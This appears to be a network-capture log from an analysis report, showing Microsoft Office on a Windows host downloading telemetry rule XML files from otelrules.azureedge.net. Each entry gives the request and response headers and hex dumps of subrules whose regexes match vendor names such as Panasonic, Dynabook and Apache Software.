2024-12-02 16:56:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:22 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f885eed-401e-0029-2ba8-429b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165622Z-174f7845968nxc96hC1EWRspw800000014gg000000006ggp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:22 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:23 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: b5d3fb3c-c01e-000b-6fb4-42e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165623Z-174f7845968px8v7hC1EWR08ng0000001510000000005ntg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:23 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 716ae074-c01e-0046-576f-432db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165623Z-174f7845968j6t2phC1EWRcfe800000014s000000000w5ga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:23 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:23 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165623Z-174f7845968n2hr8hC1EWR9cag00000014d0000000007ff7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:23 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:23 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:23 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: ef6d0e99-401e-0067-3dc7-4309c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165623Z-174f7845968px8v7hC1EWR08ng000000151g000000003x0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:24 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:23 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 13e6cbbb-001e-005a-04a3-43c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165624Z-174f7845968jrjrxhC1EWRmmrs00000014sg00000000r46h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:24 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:25 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:25 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 241a7da4-a01e-00ab-50cc-439106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165625Z-174f7845968glpgnhC1EWR7uec00000014u000000000p5hy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:26 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:25 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165625Z-174f7845968qj8jrhC1EWRh41s00000014hg00000000unb2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:26 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:25 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: cdcb5222-c01e-0014-44bd-42a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165626Z-174f7845968j6t2phC1EWRcfe800000014rg00000000xuuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:25 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:26 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d2a0c1bd-101e-0017-761b-4147c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165626Z-174f7845968jrjrxhC1EWRmmrs00000014yg000000001hz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:26 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:26 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 20d43c3b-001e-0049-3b6b-435bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165626Z-174f7845968zgtf6hC1EWRqd8s0000000xng00000000h0ms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:27 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:28 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 07e13988-c01e-0049-0444-44ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165628Z-174f7845968px8v7hC1EWR08ng00000014wg00000000sqst x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:28 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
